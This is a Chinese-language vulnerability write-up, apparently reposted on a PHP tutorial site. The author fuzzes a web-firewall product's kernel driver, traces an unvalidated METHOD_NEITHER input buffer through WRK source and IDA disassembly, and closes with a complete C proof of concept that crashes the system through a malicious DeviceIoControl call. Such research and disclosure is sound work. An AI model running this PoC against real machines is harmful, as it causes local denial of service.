来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] 今天在微博上看到有位前辈推荐了一个所谓驱动级别的WEB安全检测系统,疑心其是不是在内核来实现WAF的功能,于是就下载下来看了看。发现这个系统只有一个驱动模块,拿IDA分析了一...
今天在微博上看到有位前辈推荐了一个所谓驱动级别的WEB安全检测系统,疑心其是不是在内核来实现WAF的功能,于是就下载下来看了看。发现这个系统只有一个驱动模块,拿IDA分析了一下感觉其它只是一个NDIS过滤驱动——实现的一般的防火墙功能。并不是像我想得那样把针对XSS,SQL Injection这类攻击的防御放在驱动层来实现。想到自己工具箱里有驱动漏洞挖掘的神器ioctl_fuzzer,反正闲着也是闲着,就抄起家伙对其一通猛扫,结果虚拟机就BSOD了
随后重新启动虚拟机,并挂上Windbg,再次狂扫一通之后Windbg就捕获到了一个内存访问异常。结合Windbg提供的异常信息,很容易分析清楚这个鸡肋0Day的成因—— 这个驱动模块和ring 3层应用程序通信时,交换数据的缓冲方式是非常不靠谱的METHOD_NEITHER,DDK中对这种缓冲方式的描述如下: " METHOD_BUFFER The input buffer's address is supplied byParameters.DeviceIoControl.Type3InputBufferin the driver's IO_STACK_LOCATION structure, and the output buffer's address is specified byIrp->UserBuffer. " 结合WRK来看,如果使用这种极不靠谱的缓冲方式,IopXxxControlFile在构造IRP时也是非常不负责任的,你看—— case METHOD_NEITHER: // // For this case, do nothing. Everything is up to the driver. // Simply give the driver a copy of the caller's parameters and // let the driver do everything itself. // irp->Flags = 0; irp->UserBuffer = OutputBuffer; irpSp->Parameters.DeviceIoControl.Type3InputBuffer = InputBuffer; 注释里说的清清楚楚"Everything is up to the driver"。好吧,如果写Driver的那个程序员也很不负责任,不对这个InputBuffer做有效的检验,那攻击者就有福了 .text:F8643BED mov eax, [ebp+Irp] .text:F8643BF0 mov eax, [eax+60h] ;EAX points to the IO_STACK_LOCATION .text:F8643BF3 mov edx, [eax+10h] ;EDX equals the irpSp->Parameters.DeviceIoControl.Type3InputBuffer 随后有多处从EDX所指向内存读取数据的操作"movzx eax, word ptr [edx]",但都无一例外的没有多内存地址的有效性做检验(最基本的cmp或者test都没有,更不用说ProbeForRead了)。所以如果传入一个很猥琐的地址,BSOD就是必须得了。以下是一个可造成本地拒绝服务的POC #include <windows.h> #include <stdio.h> #define DEVICE_NAME "\\\\.\\WebFireWall" #define DEVICE_IOCONTROL_CODE 0x0012c84f #define MALICIOUS_ADDRESS 0x0c0c0c0c int main() { HANDLE hDev=INVALID_HANDLE_VALUE; int nLen=0; BOOL bRet=FALSE; DWORD dwBytCnt=0; hDev=CreateFile(DEVICE_NAME, GENERIC_ALL, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE==hDev){ printf("[*]CreateFile Error Code:%d\r\n",GetLastError()); goto _EXIT; } bRet=DeviceIoControl(hDev,DEVICE_IOCONTROL_CODE, (LPVOID)MALICIOUS_ADDRESS , 0x36, (LPVOID)MALICIOUS_ADDRESS, 0x60, &dwBytCnt,NULL); if (false==bRet){ printf("[*]DeviceIoControl Error Code:%d\r\n",GetLastError()); } else{ printf("[*]Success!\r\n"); } _EXIT: if (INVALID_HANDLE_VALUE!=hDev){ CloseHandle(hDev); } getchar(); return 0; }
作者:K_K |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com